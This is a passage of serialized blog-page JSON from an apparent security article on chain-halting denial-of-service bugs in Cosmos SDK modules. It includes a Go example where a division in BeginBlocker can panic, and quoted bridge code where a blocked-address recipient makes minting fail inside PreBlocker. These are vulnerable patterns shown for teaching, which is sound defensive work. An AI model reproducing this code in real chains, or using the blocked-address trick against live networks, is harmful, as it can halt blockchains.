ue":41},{"type":24,"tag":271,"props":88164,"children":88165},{"style":630},[88166],{"type":29,"value":88167},"MsgAllocateRewardResponse",{"type":24,"tag":271,"props":88169,"children":88170},{"style":288},[88171],{"type":29,"value":158},{"type":24,"tag":271,"props":88173,"children":88174},{"style":278},[88175],{"type":29,"value":83432},{"type":24,"tag":271,"props":88177,"children":88178},{"class":273,"line":356},[88179],{"type":24,"tag":271,"props":88180,"children":88181},{"style":288},[88182],{"type":29,"value":1171},{"type":24,"tag":25,"props":88184,"children":88185},{},[88186,88188,88194,88195,88201,88202,88208,88210,88215],{"type":29,"value":88187},"However, the same assumption does not always hold. Certain parts of Cosmos, such as ",{"type":24,"tag":135,"props":88189,"children":88191},{"className":88190},[],[88192],{"type":29,"value":88193},"PreBlocker",{"type":29,"value":158},{"type":24,"tag":135,"props":88196,"children":88198},{"className":88197},[],[88199],{"type":29,"value":88200},"BeginBlocker",{"type":29,"value":14204},{"type":24,"tag":135,"props":88203,"children":88205},{"className":88204},[],[88206],{"type":29,"value":88207},"EndBlocker",{"type":29,"value":88209},", are not protected by the error handling mechanism. So, if we move the reward distribution logic into ",{"type":24,"tag":135,"props":88211,"children":88213},{"className":88212},[],[88214],{"type":29,"value":88200},{"type":29,"value":88216}," to automatically distribute rewards at the start of each block, panics raised by division by 0 will halt the chain.",{"type":24,"tag":261,"props":88218,"children":88220},{"code":88219,"language":82954,"meta":7,"className":82955,"style":7},"func BeginBlocker(ctx context.Context, keeper keeper.Keeper) error {\n\n RewardPerShare := keeper.Shares() / keeper.TotalReward()\n keeper.DistributeReward(RewardPerShare)\n\n return nil\n}\n",[88221],{"type":24,"tag":135,"props":88222,"children":88223},{"__ignoreMap":7},[88224,88289,88296,88344,88372,88379,88391],{"type":24,"tag":271,"props":88225,"children":88226},{"class":273,"line":274},[88227,88231,88236,88240,88244,88248,88252,88256,88260,88264,88269,88273,88277,88281,88285],{"type":24,"tag":271,"props":88228,"children":88229},{"style":278},[88230],{"type":29,"value":83090},{"type":24,"tag":271,"props":88232,"children":88233},{"style":598},[88234],{"type":29,"value":88235}," BeginBlocker",{"type":24,"tag":271,"props":88237,"children":88238},{"style":288},[88239],{"type":29,"value":606},{"type":24,"tag":271,"props":88241,"children":88242},{"style":630},[88243],{"type":29,"value":633},{"type":24,"tag":271,"props":88245,"children":88246},{"style":3887},[88247],{"type":29,"value":83130},{"type":24,"tag":271,"props":88249,"children":88250},{"style":288},[88251],{"type":29,"value":41},{"type":24,"tag":271,"props":88253,"children":88254},{"style":3887},[88255],{"type":29,"value":83139},{"type":24,"tag":271,"props":88257,"children":88258},{"style":288},[88259],{"type":29,"value":158},{"type":24,"tag":271,"props":88261,"children":88262},{"style":630},[88263],{"type":29,"value":88055},{"type":24,"tag":271,"props":88265,"children":88266},{"style":3887},[88267],{"type":29,"value":88268}," keeper",{"type":24,"tag":271,"props":88270,"children":88271},{"style":288},[88272],{"type":29,"value":41},{"type":24,"tag":271,"props":88274,"children":88275},{"style":3887},[88276],{"type":29,"value":86735},{"type":24,"tag":271,"props":88278,"children":88279},{"style":288},[88280],{"type":29,"value":8823},{"type":24,"tag":271,"props":88282,"children":88283},{"style":3887},[88284],{"type":29,"value":22561},{"type":24,"tag":271,"props":88286,"children":88287},{"style":288},[88288],{"type":29,"value":7145},{"type":24,"tag":271,"props":88290,"children":88291},{"class":273,"line":284},[88292],{"type":24,"tag":271,"props":88293,"children":88294},{"emptyLinePlaceholder":16},[88295],{"type":29,"value":327},{"type":24,"tag":271,"props":88297,"children":88298},{"class":273,"line":294},[88299,88303,88307,88311,88315,88319,88323,88327,88332,88336,88340],{"type":24,"tag":271,"props":88300,"children":88301},{"style":630},[88302],{"type":29,"value":88037},{"type":24,"tag":271,"props":88304,"children":88305},{"style":624},[88306],{"type":29,"value":83206},{"type":24,"tag":271,"props":88308,"children":88309},{"style":630},[88310],{"type":29,"value":88268},{"type":24,"tag":271,"props":88312,"children":88313},{"style":288},[88314],{"type":29,"value":41},{"type":24,"tag":271,"props":88316,"children":88317},{"style":598},[88318],{"type":29,"value":88064},{"type":24,"tag":271,"props":88320,"children":88321},{"style":288},[88322],{"type":29,"value":21742},{"type":24,"tag":271,"props":88324,"children":88325},{"style":624},[88326],{"type":29,"value":12298},{"type":24,"tag":271,"props":88328,"children":88329},{"style":630},[88330],{"type":29,"value":88331}," keeper",{"type":24,"tag":271,"props":88333,"children":88334},{"style":288},[88335],{"type":29,"value":41},{"type":24,"tag":271,"props":88337,"children":88338},{"style":598},[88339],{"type":29,"value":88094},{"type":24,"tag":271,"props":88341,"children":88342},{"style":288},[88343],{"type":29,"value":15452},{"type":24,"tag":271,"props":88345,"children":88346},{"class":273,"line":303},[88347,88352,88356,88360,88364,88368],{"type":24,"tag":271,"props":88348,"children":88349},{"style":630},[88350],{"type":29,"value":88351}," keeper",{"type":24,"tag":271,"props":88353,"children":88354},{"style":288},[88355],{"type":29,"value":41},{"type":24,"tag":271,"props":88357,"children":88358},{"style":598},[88359],{"type":29,"value":88123},{"type":24,"tag":271,"props":88361,"children":88362},{"style":288},[88363],{"type":29,"value":606},{"type":24,"tag":271,"props":88365,"children":88366},{"style":630},[88367],{"type":29,"value":88132},{"type":24,"tag":271,"props":88369,"children":88370},{"style":288},[88371],{"type":29,"value":694},{"type":24,"tag":271,"props":88373,"children":88374},{"class":273,"line":312},[88375],{"type":24,"tag":271,"props":88376,"children":88377},{"emptyLinePlaceholder":16},[88378],{"type":29,"value":327},{"type":24,"tag":271,"props":88380,"children":88381},{"class":273,"line":321},[88382,88386],{"type":24,"tag":271,"props":88383,"children":88384},{"style":749},[88385],{"type":29,"value":2459},{"type":24,"tag":271,"props":88387,"children":88388},{"style":278},[88389],{"type":29,"value":88390}," nil\n",{"type":24,"tag":271,"props":88392,"children":88393},{"class":273,"line":330},[88394],{"type":24,"tag":271,"props":88395,"children":88396},{"style":288},[88397],{"type":29,"value":1171},{"type":24,"tag":85,"props":88399,"children":88401},{"id":88400},"real-world-examples-3",[88402],{"type":29,"value":83479},{"type":24,"tag":25,"props":88404,"children":88405},{},[88406],{"type":29,"value":88407},"Recently, developers have become increasingly aware of unprotected ABCI functions, but this doesn't stop DoS bugs from manifesting. So what is the catch?",{"type":24,"tag":25,"props":88409,"children":88410},{},[88411,88413,88419,88421,88426,88428,88434,88436,88442,88444,88450],{"type":29,"value":88412},"The problem lies in the lack of proper understanding of utility functions. The example here implements a bridge that mints wrapped BTC tokens in the PreBlocker when bridging events are observed. Notably, errors returned by ",{"type":24,"tag":135,"props":88414,"children":88416},{"className":88415},[],[88417],{"type":29,"value":88418},"bankKeeper.SendCoinsFromModuleToAccount",{"type":29,"value":88420}," will be bubbled up through ",{"type":24,"tag":135,"props":88422,"children":88424},{"className":88423},[],[88425],{"type":29,"value":88193},{"type":29,"value":88427}," and halt the chain. It turns out an attacker can force ",{"type":24,"tag":135,"props":88429,"children":88431},{"className":88430},[],[88432],{"type":29,"value":88433},"SendCoinsFromModuleToAccount",{"type":29,"value":88435}," to return an error by setting ",{"type":24,"tag":135,"props":88437,"children":88439},{"className":88438},[],[88440],{"type":29,"value":88441},"recipient",{"type":29,"value":88443}," to some ",{"type":24,"tag":135,"props":88445,"children":88447},{"className":88446},[],[88448],{"type":29,"value":88449},"BlockedAddr",{"type":29,"value":88451},",rendering the code susceptible to DoS attacks.",{"type":24,"tag":25,"props":88453,"children":88454},{},[88455],{"type":24,"tag":32,"props":88456,"children":88459},{"href":88457,"rel":88458},"https://github.com/mezo-org/mezod/blob/d3b1a049a9acce977fdadd245cb381252f101922/x/bridge/keeper/assets_locked.go#L170",[36],[88460],{"type":29,"value":83529},{"type":24,"tag":261,"props":88462,"children":88464},{"code":88463,"language":82954,"meta":7,"className":82955,"style":7},"func (pbh *PreBlockHandler) PreBlocker() sdk.PreBlocker {\n return func(\n ctx sdk.Context,\n req *cmtabci.RequestFinalizeBlock,\n ) (*sdk.ResponsePreBlock, error) {\n ...\n err := pbh.bridgeKeeper.AcceptAssetsLocked(ctx, events)\n if err != nil {\n return nil, fmt.Errorf(\"cannot accept AssetsLocked events: %w\", err)\n }\n ...\n }\n}\n\nfunc (k Keeper) AcceptAssetsLocked(\n ctx sdk.Context,\n events types.AssetsLockedEvents,\n) error {\n ...\n for _, event := range events {\n recipient, err := sdk.AccAddressFromBech32(event.Recipient)\n if err != nil {\n return fmt.Errorf(\"failed to parse recipient address: %w\", err)\n }\n\n if bytes.Equal(event.TokenBytes(), sourceBTCToken) {\n err = k.mintBTC(ctx, recipient, event.Amount)\n if err != nil {\n return fmt.Errorf(\n \"failed to mint BTC for event %v: %w\",\n event.Sequence,\n err,\n )\n }\n } else {\n ...\n }\n }\n ...\n}\n\nfunc (k Keeper) mintBTC(\n ctx sdk.Context,\n recipient sdk.AccAddress,\n amount math.Int,\n) error {\n ...\n err = k.bankKeeper.SendCoinsFromModuleToAccount(\n ctx,\n types.ModuleName,\n recipient,\n coins,\n )\n if err != nil {\n return fmt.Errorf(\"failed to send coins: %w\", err)\n }\n ...\n}\n",[88465],{"type":24,"tag":135,"props":88466,"children":88467},{"__ignoreMap":7},[88468,88521,88536,88559,88589,88625,88633,88689,88713,88763,88770,88777,88784,88791,88798,88829,88852,88877,88892,88899,88936,88990,89013,89054,89061,89068,89119,89180,89203,89226,89238,89259,89271,89279,89286,89301,89309,89316,89323,89330,89337,89344,89375,89398,89423,89448,89463,89470,89507,89518,89539,89550,89562,89569,89592,89632,89639,89646],{"type":24,"tag":271,"props":88469,"children":88470},{"class":273,"line":274},[88471,88475,88479,88484,88488,88493,88497,88501,88505,88509,88513,88517],{"type":24,"tag":271,"props":88472,"children":88473},{"style":278},[88474],{"type":29,"value":83090},{"type":24,"tag":271,"props":88476,"children":88477},{"style":288},[88478],{"type":29,"value":1357},{"type":24,"tag":271,"props":88480,"children":88481},{"style":630},[88482],{"type":29,"value":88483},"pbh ",{"type":24,"tag":271,"props":88485,"children":88486},{"style":624},[88487],{"type":29,"value":627},{"type":24,"tag":271,"props":88489,"children":88490},{"style":3887},[88491],{"type":29,"value":88492},"PreBlockHandler",{"type":24,"tag":271,"props":88494,"children":88495},{"style":288},[88496],{"type":29,"value":8823},{"type":24,"tag":271,"props":88498,"children":88499},{"style":598},[88500],{"type":29,"value":88193},{"type":24,"tag":271,"props":88502,"children":88503},{"style":288},[88504],{"type":29,"value":21742},{"type":24,"tag":271,"props":88506,"children":88507},{"style":3887},[88508],{"type":29,"value":85520},{"type":24,"tag":271,"props":88510,"children":88511},{"style":288},[88512],{"type":29,"value":41},{"type":24,"tag":271,"props":88514,"children":88515},{"style":3887},[88516],{"type":29,"value":88193},{"type":24,"tag":271,"props":88518,"children":88519},{"style":288},[88520],{"type":29,"value":7145},{"type":24,"tag":271,"props":88522,"children":88523},{"class":273,"line":284},[88524,88528,88532],{"type":24,"tag":271,"props":88525,"children":88526},{"style":749},[88527],{"type":29,"value":9640},{"type":24,"tag":271,"props":88529,"children":88530},{"style":278},[88531],{"type":29,"value":86799},{"type":24,"tag":271,"props":88533,"children":88534},{"style":288},[88535],{"type":29,"value":4028},{"type":24,"tag":271,"props":88537,"children":88538},{"class":273,"line":294},[88539,88543,88547,88551,88555],{"type":24,"tag":271,"props":88540,"children":88541},{"style":630},[88542],{"type":29,"value":33862},{"type":24,"tag":271,"props":88544,"children":88545},{"style":3887},[88546],{"type":29,"value":85431},{"type":24,"tag":271,"props":88548,"children":88549},{"style":288},[88550],{"type":29,"value":41},{"type":24,"tag":271,"props":88552,"children":88553},{"style":3887},[88554],{"type":29,"value":83139},{"type":24,"tag":271,"props":88556,"children":88557},{"style":288},[88558],{"type":29,"value":638},{"type":24,"tag":271,"props":88560,"children":88561},{"class":273,"line":303},[88562,88567,88571,88576,88580,88585],{"type":24,"tag":271,"props":88563,"children":88564},{"style":630},[88565],{"type":29,"value":88566}," req",{"type":24,"tag":271,"props":88568,"children":88569},{"style":624},[88570],{"type":29,"value":3895},{"type":24,"tag":271,"props":88572,"children":88573},{"style":3887},[88574],{"type":29,"value":88575},"cmtabci",{"type":24,"tag":271,"props":88577,"children":88578},{"style":288},[88579],{"type":29,"value":41},{"type":24,"tag":271,"props":88581,"children":88582},{"style":3887},[88583],{"type":29,"value":88584},"RequestFinalizeBlock",{"type":24,"tag":271,"props":88586,"children":88587},{"style":288},[88588],{"type":29,"value":638},{"type":24,"tag":271,"props":88590,"children":88591},{"class":273,"line":312},[88592,88596,88600,88604,88608,88613,88617,88621],{"type":24,"tag":271,"props":88593,"children":88594},{"style":288},[88595],{"type":29,"value":86867},{"type":24,"tag":271,"props":88597,"children":88598},{"style":624},[88599],{"type":29,"value":627},{"type":24,"tag":271,"props":88601,"children":88602},{"style":3887},[88603],{"type":29,"value":85520},{"type":24,"tag":271,"props":88605,"children":88606},{"style":288},[88607],{"type":29,"value":41},{"type":24,"tag":271,"props":88609,"children":88610},{"style":3887},[88611],{"type":29,"value":88612},"ResponsePreBlock",{"type":24,"tag":271,"props":88614,"children":88615},{"style":288},[88616],{"type":29,"value":158},{"type":24,"tag":271,"props":88618,"children":88619},{"style":3887},[88620],{"type":29,"value":22561},{"type":24,"tag":271,"props":88622,"children":88623},{"style":288},[88624],{"type":29,"value":919},{"type":24,"tag":271,"props":88626,"children":88627},{"class":273,"line":321},[88628],{"type":24,"tag":271,"props":88629,"children":88630},{"style":624},[88631],{"type":29,"value":88632}," ...\n",{"type":24,"tag":271,"props":88634,"children":88635},{"class":273,"line":330},[88636,88641,88645,88650,88654,88659,88663,88668,88672,88676,88680,88685],{"type":24,"tag":271,"props":88637,"children":88638},{"style":630},[88639],{"type":29,"value":88640}," err",{"type":24,"tag":271,"props":88642,"children":88643},{"style":624},[88644],{"type":29,"value":83206},{"type":24,"tag":271,"props":88646,"children":88647},{"style":630},[88648],{"type":29,"value":88649}," pbh",{"type":24,"tag":271,"props":88651,"children":88652},{"style":288},[88653],{"type":29,"value":41},{"type":24,"tag":271,"props":88655,"children":88656},{"style":630},[88657],{"type":29,"value":88658},"bridgeKeeper",{"type":24,"tag":271,"props":88660,"children":88661},{"style":288},[88662],{"type":29,"value":41},{"type":24,"tag":271,"props":88664,"children":88665},{"style":598},[88666],{"type":29,"value":88667},"AcceptAssetsLocked",{"type":24,"tag":271,"props":88669,"children":88670},{"style":288},[88671],{"type":29,"value":606},{"type":24,"tag":271,"props":88673,"children":88674},{"style":630},[88675],{"type":29,"value":633},{"type":24,"tag":271,"props":88677,"children":88678},{"style":288},[88679],{"type":29,"value":158},{"type":24,"tag":271,"props":88681,"children":88682},{"style":630},[88683],{"type":29,"value":88684},"events",{"type":24,"tag":271,"props":88686,"children":88687},{"style":288},[88688],{"type":29,"value":694},{"type":24,"tag":271,"props":88690,"children":88691},{"class":273,"line":339},[88692,88696,88700,88704,88709],{"type":24,"tag":271,"props":88693,"children":88694},{"style":749},[88695],{"type":29,"value":7512},{"type":24,"tag":271,"props":88697,"children":88698},{"style":630},[88699],{"type":29,"value":56186},{"type":24,"tag":271,"props":88701,"children":88702},{"style":624},[88703],{"type":29,"value":71173},{"type":24,"tag":271,"props":88705,"children":88706},{"style":278},[88707],{"type":29,"value":88708}," nil",{"type":24,"tag":271,"props":88710,"children":88711},{"style":288},[88712],{"type":29,"value":7145},{"type":24,"tag":271,"props":88714,"children":88715},{"class":273,"line":347},[88716,88720,88724,88728,88733,88737,88742,88746,88751,88755,88759],{"type":24,"tag":271,"props":88717,"children":88718},{"style":749},[88719],{"type":29,"value":85866},{"type":24,"tag":271,"props":88721,"children":88722},{"style":278},[88723],{"type":29,"value":88708},{"type":24,"tag":271,"props":88725,"children":88726},{"style":288},[88727],{"type":29,"value":158},{"type":24,"tag":271,"props":88729,"children":88730},{"style":630},[88731],{"type":29,"value":88732},"fmt",{"type":24,"tag":271,"props":88734,"children":88735},{"style":288},[88736],{"type":29,"value":41},{"type":24,"tag":271,"props":88738,"children":88739},{"style":598},[88740],{"type":29,"value":88741},"Errorf",{"type":24,"tag":271,"props":88743,"children":88744},{"style":288},[88745],{"type":29,"value":606},{"type":24,"tag":271,"props":88747,"children":88748},{"style":378},[88749],{"type":29,"value":88750},"\"cannot accept AssetsLocked events: %w\"",{"type":24,"tag":271,"props":88752,"children":88753},{"style":288},[88754],{"type":29,"value":158},{"type":24,"tag":271,"props":88756,"children":88757},{"style":630},[88758],{"type":29,"value":56085},{"type":24,"tag":271,"props":88760,"children":88761},{"style":288},[88762],{"type":29,"value":694},{"type":24,"tag":271,"props":88764,"children":88765},{"class":273,"line":356},[88766],{"type":24,"tag":271,"props":88767,"children":88768},{"style":288},[88769],{"type":29,"value":7574},{"type":24,"tag":271,"props":88771,"children":88772},{"class":273,"line":365},[88773],{"type":24,"tag":271,"props":88774,"children":88775},{"style":624},[88776],{"type":29,"value":88632},{"type":24,"tag":271,"props":88778,"children":88779},{"class":273,"line":374},[88780],{"type":24,"tag":271,"props":88781,"children":88782},{"style":288},[88783],{"type":29,"value":4385},{"type":24,"tag":271,"props":88785,"children":88786},{"class":273,"line":384},[88787],{"type":24,"tag":271,"props":88788,"children":88789},{"style":288},[88790],{"type":29,"value":1171},{"type":24,"tag":271,"props":88792,"children":88793},{"class":273,"line":393},[88794],{"type":24,"tag":271,"props":88795,"children":88796},{"emptyLinePlaceholder":16},[88797],{"type":29,"value":327},{"type":24,"tag":271,"props":88799,"children":88800},{"class":273,"line":402},[88801,88805,88809,88813,88817,88821,88825],{"type":24,"tag":271,"props":88802,"children":88803},{"style":278},[88804],{"type":29,"value":83090},{"type":24,"tag":271,"props":88806,"children":88807},{"style":288},[88808],{"type":29,"value":1357},{"type":24,"tag":271,"props":88810,"children":88811},{"style":630},[88812],{"type":29,"value":87918},{"type":24,"tag":271,"props":88814,"children":88815},{"style":3887},[88816],{"type":29,"value":86735},{"type":24,"tag":271,"props":88818,"children":88819},{"style":288},[88820],{"type":29,"value":8823},{"type":24,"tag":271,"props":88822,"children":88823},{"style":598},[88824],{"type":29,"value":88667},{"type":24,"tag":271,"props":88826,"children":88827},{"style":288},[88828],{"type":29,"value":4028},{"type":24,"tag":271,"props":88830,"children":88831},{"class":273,"line":411},[88832,88836,88840,88844,88848],{"type":24,"tag":271,"props":88833,"children":88834},{"style":630},[88835],{"type":29,"value":27912},{"type":24,"tag":271,"props":88837,"children":88838},{"style":3887},[88839],{"type":29,"value":85431},{"type":24,"tag":271,"props":88841,"children":88842},{"style":288},[88843],{"type":29,"value":41},{"type":24,"tag":271,"props":88845,"children":88846},{"style":3887},[88847],{"type":29,"value":83139},{"type":24,"tag":271,"props":88849,"children":88850},{"style":288},[88851],{"type":29,"value":638},{"type":24,"tag":271,"props":88853,"children":88854},{"class":273,"line":420},[88855,88860,88864,88868,88873],{"type":24,"tag":271,"props":88856,"children":88857},{"style":630},[88858],{"type":29,"value":88859}," events",{"type":24,"tag":271,"props":88861,"children":88862},{"style":3887},[88863],{"type":29,"value":84965},{"type":24,"tag":271,"props":88865,"children":88866},{"style":288},[88867],{"type":29,"value":41},{"type":24,"tag":271,"props":88869,"children":88870},{"style":3887},[88871],{"type":29,"value":88872},"AssetsLockedEvents",{"type":24,"tag":271,"props":88874,"children":88875},{"style":288},[88876],{"type":29,"value":638},{"type":24,"tag":271,"props":88878,"children":88879},{"class":273,"line":429},[88880,88884,88888],{"type":24,"tag":271,"props":88881,"children":88882},{"style":288},[88883],{"type":29,"value":8823},{"type":24,"tag":271,"props":88885,"children":88886},{"style":3887},[88887],{"type":29,"value":22561},{"type":24,"tag":271,"props":88889,"children":88890},{"style":288},[88891],{"type":29,"value":7145},{"type":24,"tag":271,"props":88893,"children":88894},{"class":273,"line":438},[88895],{"type":24,"tag":271,"props":88896,"children":88897},{"style":624},[88898],{"type":29,"value":28027},{"type":24,"tag":271,"props":88900,"children":88901},{"class":273,"line":447},[88902,88906,88910,88914,88919,88923,88927,88932],{"type":24,"tag":271,"props":88903,"children":88904},{"style":749},[88905],{"type":29,"value":4149},{"type":24,"tag":271,"props":88907,"children":88908},{"style":630},[88909],{"type":29,"value":10773},{"type":24,"tag":271,"props":88911,"children":88912},{"style":288},[88913],{"type":29,"value":158},{"type":24,"tag":271,"props":88915,"children":88916},{"style":630},[88917],{"type":29,"value":88918},"event",{"type":24,"tag":271,"props":88920,"children":88921},{"style":624},[88922],{"type":29,"value":83206},{"type":24,"tag":271,"props":88924,"children":88925},{"style":749},[88926],{"type":29,"value":84189},{"type":24,"tag":271,"props":88928,"children":88929},{"style":630},[88930],{"type":29,"value":88931}," events",{"type":24,"tag":271,"props":88933,"children":88934},{"style":288},[88935],{"type":29,"value":7145},{"type":24,"tag":271,"props":88937,"children":88938},{"class":273,"line":455},[88939,88944,88948,88952,88956,88960,88964,88969,88973,88977,88981,88986],{"type":24,"tag":271,"props":88940,"children":88941},{"style":630},[88942],{"type":29,"value":88943}," recipient",{"type":24,"tag":271,"props":88945,"children":88946},{"style":288},[88947],{"type":29,"value":158},{"type":24,"tag":271,"props":88949,"children":88950},{"style":630},[88951],{"type":29,"value":56085},{"type":24,"tag":271,"props":88953,"children":88954},{"style":624},[88955],{"type":29,"value":83206},{"type":24,"tag":271,"props":88957,"children":88958},{"style":630},[88959],{"type":29,"value":85431},{"type":24,"tag":271,"props":88961,"children":88962},{"style":288},[88963],{"type":29,"value":41},{"type":24,"tag":271,"props":88965,"children":88966},{"style":598},[88967],{"type":29,"value":88968},"AccAddressFromBech32",{"type":24,"tag":271,"props":88970,"children":88971},{"style":288},[88972],{"type":29,"value":606},{"type":24,"tag":271,"props":88974,"children":88975},{"style":630},[88976],{"type":29,"value":88918},{"type":24,"tag":271,"props":88978,"children":88979},{"style":288},[88980],{"type":29,"value":41},{"type":24,"tag":271,"props":88982,"children":88983},{"style":630},[88984],{"type":29,"value":88985},"Recipient",{"type":24,"tag":271,"props":88987,"children":88988},{"style":288},[88989],{"type":29,"value":694},{"type":24,"tag":271,"props":88991,"children":88992},{"class":273,"line":464},[88993,88997,89001,89005,89009],{"type":24,"tag":271,"props":88994,"children":88995},{"style":749},[88996],{"type":29,"value":7512},{"type":24,"tag":271,"props":88998,"children":88999},{"style":630},[89000],{"type":29,"value":56186},{"type":24,"tag":271,"props":89002,"children":89003},{"style":624},[89004],{"type":29,"value":71173},{"type":24,"tag":271,"props":89006,"children":89007},{"style":278},[89008],{"type":29,"value":88708},{"type":24,"tag":271,"props":89010,"children":89011},{"style":288},[89012],{"type":29,"value":7145},{"type":24,"tag":271,"props":89014,"children":89015},{"class":273,"line":473},[89016,89020,89025,89029,89033,89037,89042,89046,89050],{"type":24,"tag":271,"props":89017,"children":89018},{"style":749},[89019],{"type":29,"value":85866},{"type":24,"tag":271,"props":89021,"children":89022},{"style":630},[89023],{"type":29,"value":89024}," fmt",{"type":24,"tag":271,"props":89026,"children":89027},{"style":288},[89028],{"type":29,"value":41},{"type":24,"tag":271,"props":89030,"children":89031},{"style":598},[89032],{"type":29,"value":88741},{"type":24,"tag":271,"props":89034,"children":89035},{"style":288},[89036],{"type":29,"value":606},{"type":24,"tag":271,"props":89038,"children":89039},{"style":378},[89040],{"type":29,"value":89041},"\"failed to parse recipient address: %w\"",{"type":24,"tag":271,"props":89043,"children":89044},{"style":288},[89045],{"type":29,"value":158},{"type":24,"tag":271,"props":89047,"children":89048},{"style":630},[89049],{"type":29,"value":56085},{"type":24,"tag":271,"props":89051,"children":89052},{"style":288},[89053],{"type":29,"value":694},{"type":24,"tag":271,"props":89055,"children":89056},{"class":273,"line":483},[89057],{"type":24,"tag":271,"props":89058,"children":89059},{"style":288},[89060],{"type":29,"value":7574},{"type":24,"tag":271,"props":89062,"children":89063},{"class":273,"line":491},[89064],{"type":24,"tag":271,"props":89065,"children":89066},{"emptyLinePlaceholder":16},[89067],{"type":29,"value":327},{"type":24,"tag":271,"props":89069,"children":89070},{"class":273,"line":499},[89071,89075,89080,89084,89089,89093,89097,89101,89106,89110,89115],{"type":24,"tag":271,"props":89072,"children":89073},{"style":749},[89074],{"type":29,"value":7512},{"type":24,"tag":271,"props":89076,"children":89077},{"style":630},[89078],{"type":29,"value":89079}," bytes",{"type":24,"tag":271,"props":89081,"children":89082},{"style":288},[89083],{"type":29,"value":41},{"type":24,"tag":271,"props":89085,"children":89086},{"style":598},[89087],{"type":29,"value":89088},"Equal",{"type":24,"tag":271,"props":89090,"children":89091},{"style":288},[89092],{"type":29,"value":606},{"type":24,"tag":271,"props":89094,"children":89095},{"style":630},[89096],{"type":29,"value":88918},{"type":24,"tag":271,"props":89098,"children":89099},{"style":288},[89100],{"type":29,"value":41},{"type":24,"tag":271,"props":89102,"children":89103},{"style":598},[89104],{"type":29,"value":89105},"TokenBytes",{"type":24,"tag":271,"props":89107,"children":89108},{"style":288},[89109],{"type":29,"value":26067},{"type":24,"tag":271,"props":89111,"children":89112},{"style":630},[89113],{"type":29,"value":89114},"sourceBTCToken",{"type":24,"tag":271,"props":89116,"children":89117},{"style":288},[89118],{"type":29,"value":919},{"type":24,"tag":271,"props":89120,"children":89121},{"class":273,"line":3188},[89122,89127,89131,89135,89139,89144,89148,89152,89156,89160,89164,89168,89172,89176],{"type":24,"tag":271,"props":89123,"children":89124},{"style":630},[89125],{"type":29,"value":89126}," err",{"type":24,"tag":271,"props":89128,"children":89129},{"style":624},[89130],{"type":29,"value":1712},{"type":24,"tag":271,"props":89132,"children":89133},{"style":630},[89134],{"type":29,"value":88046},{"type":24,"tag":271,"props":89136,"children":89137},{"style":288},[89138],{"type":29,"value":41},{"type":24,"tag":271,"props":89140,"children":89141},{"style":598},[89142],{"type":29,"value":89143},"mintBTC",{"type":24,"tag":271,"props":89145,"children":89146},{"style":288},[89147],{"type":29,"value":606},{"type":24,"tag":271,"props":89149,"children":89150},{"style":630},[89151],{"type":29,"value":633},{"type":24,"tag":271,"props":89153,"children":89154},{"style":288},[89155],{"type":29,"value":158},{"type":24,"tag":271,"props":89157,"children":89158},{"style":630},[89159],{"type":29,"value":88441},{"type":24,"tag":271,"props":89161,"children":89162},{"style":288},[89163],{"type":29,"value":158},{"type":24,"tag":271,"props":89165,"children":89166},{"style":630},[89167],{"type":29,"value":88918},{"type":24,"tag":271,"props":89169,"children":89170},{"style":288},[89171],{"type":29,"value":41},{"type":24,"tag":271,"props":89173,"children":89174},{"style":630},[89175],{"type":29,"value":85845},{"type":24,"tag":271,"props":89177,"children":89178},{"style":288},[89179],{"type":29,"value":694},{"type":24,"tag":271,"props":89181,"children":89182},{"class":273,"line":3247},[89183,89187,89191,89195,89199],{"type":24,"tag":271,"props":89184,"children":89185},{"style":749},[89186],{"type":29,"value":8468},{"type":24,"tag":271,"props":89188,"children":89189},{"style":630},[89190],{"type":29,"value":56186},{"type":24,"tag":271,"props":89192,"children":89193},{"style":624},[89194],{"type":29,"value":71173},{"type":24,"tag":271,"props":89196,"children":89197},{"style":278},[89198],{"type":29,"value":88708},{"type":24,"tag":271,"props":89200,"children":89201},{"style":288},[89202],{"type":29,"value":7145},{"type":24,"tag":271,"props":89204,"children":89205},{"class":273,"line":3255},[89206,89210,89214,89218,89222],{"type":24,"tag":271,"props":89207,"children":89208},{"style":749},[89209],{"type":29,"value":10408},{"type":24,"tag":271,"props":89211,"children":89212},{"style":630},[89213],{"type":29,"value":89024},{"type":24,"tag":271,"props":89215,"children":89216},{"style":288},[89217],{"type":29,"value":41},{"type":24,"tag":271,"props":89219,"children":89220},{"style":598},[89221],{"type":29,"value":88741},{"type":24,"tag":271,"props":89223,"children":89224},{"style":288},[89225],{"type":29,"value":4028},{"type":24,"tag":271,"props":89227,"children":89228},{"class":273,"line":3263},[89229,89234],{"type":24,"tag":271,"props":89230,"children":89231},{"style":378},[89232],{"type":29,"value":89233}," \"failed to mint BTC for event %v: %w\"",{"type":24,"tag":271,"props":89235,"children":89236},{"style":288},[89237],{"type":29,"value":638},{"type":24,"tag":271,"props":89239,"children":89240},{"class":273,"line":3293},[89241,89246,89250,89255],{"type":24,"tag":271,"props":89242,"children":89243},{"style":630},[89244],{"type":29,"value":89245}," event",{"type":24,"tag":271,"props":89247,"children":89248},{"style":288},[89249],{"type":29,"value":41},{"type":24,"tag":271,"props":89251,"children":89252},{"style":630},[89253],{"type":29,"value":89254},"Sequence",{"type":24,"tag":271,"props":89256,"children":89257},{"style":288},[89258],{"type":29,"value":638},{"type":24,"tag":271,"props":89260,"children":89261},{"class":273,"line":3301},[89262,89267],{"type":24,"tag":271,"props":89263,"children":89264},{"style":630},[89265],{"type":29,"value":89266}," err",{"type":24,"tag":271,"props":89268,"children":89269},{"style":288},[89270],{"type":29,"value":638},{"type":24,"tag":271,"props":89272,"children":89273},{"class":273,"line":3683},[89274],{"type":24,"tag":271,"props":89275,"children":89276},{"style":288},[89277],{"type":29,"value":89278}," )\n",{"type":24,"tag":271,"props":89280,"children":89281},{"class":273,"line":4486},[89282],{"type":24,"tag":271,"props":89283,"children":89284},{"style":288},[89285],{"type":29,"value":8554},{"type":24,"tag":271,"props":89287,"children":89288},{"class":273,"line":4509},[89289,89293,89297],{"type":24,"tag":271,"props":89290,"children":89291},{"style":288},[89292],{"type":29,"value":11039},{"type":24,"tag":271,"props":89294,"children":89295},{"style":749},[89296],{"type":29,"value":11044},{"type":24,"tag":271,"props":89298,"children":89299},{"style":288},[89300],{"type":29,"value":7145},{"type":24,"tag":271,"props":89302,"children":89303},{"class":273,"line":4545},[89304],{"type":24,"tag":271,"props":89305,"children":89306},{"style":624},[89307],{"type":29,"value":89308}," 